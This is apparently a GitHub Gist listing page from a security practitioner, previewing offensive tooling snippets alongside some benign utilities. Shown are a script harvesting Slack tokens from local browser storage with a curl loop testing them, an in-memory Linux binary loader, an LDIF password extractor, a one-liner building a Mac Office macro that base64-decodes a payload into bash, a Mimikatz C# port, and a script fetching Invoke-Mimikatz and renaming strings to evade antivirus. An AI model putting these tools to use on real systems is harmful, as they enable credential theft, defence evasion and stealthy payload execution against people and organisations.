Skip to content

Instantly share code, notes, and snippets.

@thesubtlety
thesubtlety / local-slack-jack.py
Created Oct 30, 2019
Get Slack tokens from local ldb storage files
View local-slack-jack.py
#!/usr/bin/env python
'''
Just a python re-write of a tool by akerl
https://blog.akerl.org/2018/03/15/stealing-slack-creds-from-chrome/
https://github.com/akerl/limp
# user profiles
for tok in $(python3 slack-jack.py); do echo "Trying $tok"; curl -s https://slack.com/api/users.profile.get\?token\=$tok -H'Content-Type: application/x-www-form-urlencoded' | jq ; done
@thesubtlety
thesubtlety / ip_tools.py
Last active Oct 15, 2019
Random utilities to work with IP hosts, ranges, CIDR ranges
View ip_tools.py
import netaddr, ipaddress
def file_to_array(fname):
with open(fname) as f:
farr = [l.strip() for l in f if l.strip()]
return farr
def cidrs_to_hosts(input_arr):
output_arr = []
for e in input_arr:
@thesubtlety
thesubtlety / invokeInMemLinux.go
Created Oct 4, 2019 — forked from capnspacehook/invokeInMemLinux.go
Executes a binary or file in memory on a Linux system. Uses the memfd_create(2) syscall. Credits and idea from: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
View invokeInMemLinux.go
package main
import (
"io/ioutil"
"os"
"os/exec"
"strconv"
"syscall"
@thesubtlety
thesubtlety / parse_ldif_file.py
Created Apr 10, 2019
Parse an ldif file extracting the userPassword field
View parse_ldif_file.py
#!/usr/bin/env python
# pip install python-ldap
import sys, ldif
def main():
if len(sys.argv) != 3:
print("Usage: %s <ldif_dump.ldif> <outfile>") % sys.argv[0]
sys.exit(-1)
ldif_file = sys.argv[1]
@thesubtlety
thesubtlety / Get-GroupsRec.ps1
Created Jan 23, 2019
Get all AD group membership recursively (requires AD module)
View Get-GroupsRec.ps1
function Get-GroupsRec {
[CmdletBinding()]
param
(
[Parameter(Mandatory)]
[string]$User
)
$dn = (Get-ADUser $User).DistinguishedName
Get-ADGroup -LDAPFilter ("(member:1.2.840.113556.1.4.1941:={0})" -f $dn) | select -expand Name | sort Name
@thesubtlety
thesubtlety / sans-sec660-recommended-reading.md
Created Jan 5, 2019
SANS SEC660 GXPN Recommended Reading
View sans-sec660-recommended-reading.md
@thesubtlety
thesubtlety / Fortune-1000-Company-Twitter-Accounts.csv
Created Sep 18, 2018 — forked from mbejda/Fortune-1000-Company-Twitter-Accounts.csv
Fortune 1000 companies Twitter Accounts. Twitter,domain, keywords, and description
View Fortune-1000-Company-Twitter-Accounts.csv
We can make this file beautiful and searchable if this error is corrected: Unclosed quoted field in line 5.
domain,name,keywords,description,twitter
walmartstores.com,Wal-Mart Stores,"SEC filing,Walmart photos,walmart stock,sustainability index,Wal-Mart,walmart annual reports,Walmart responsibility,executive speeches,walmart suppliers,global responsibility,walmart global sustainability report,walmart investors,Walmart interactive map,walmart history,privacy policy,financial reports,walmart news,Wal Mart,walmart sustainability,Walmart locations,Walmart videos,walmart story,Walmart,Walmart stores,walmart board of directors,community giving,walmart careers,Walmart jobs,sam walton","Find Walmart executive speeches, financial reports, press releases, downloadable photos and videos, and see an interactive map of our locations around the world.",walmart
gm.com,General Motors,,"General Motors is home to Buick, Cadillac, GMC and Chevrolet. Find the latest news about GM automotive innovations, investor relations and more. ",GM
ge.com,General Electric,,,generalelectric
chevron.com,ChevronTexaco,"cvx, chevrontexaco, cheveron,
@thesubtlety
thesubtlety / macscriptify.sh
Created Aug 16, 2018
MacScriptify bash oneliner
View macscriptify.sh
# save oneliner as macscript.txt
$f=macscript.txt; echo "Dim s As String\n"; for each in $(base64 -w0 <<< $(cat f) | fold -w 90); do echo "s = s + \"$each\""; done | sed '0,/\ s\ \+/{s/\ \+//}'; echo 'MacScript "do shell script "" echo " & s & " | base64 -D | bash "" "'; echo 'End Sub'
@thesubtlety
thesubtlety / katz.cs
Created Aug 1, 2018
Updated Katz.cs - Latest Mimikatz, I mean honestly it is 2018...
View katz.cs
This file has been truncated, but you can view the full file.
using System;
using System.IO;
using System.Text;
using System.IO.Compression;
using System.EnterpriseServices;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
@thesubtlety
thesubtlety / invoke_evasion.sh
Created May 16, 2018 — forked from PaulSec/invoke_evasion.sh
Small script to bypass AV that triggers Invoke-Mimikatz with shitty rules
View invoke_evasion.sh
# AV Bypass to run Mimikatz
# From: https://www.blackhillsinfosec.com/?p=5555
# Server side:
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1
sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1
sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1
sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1
sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1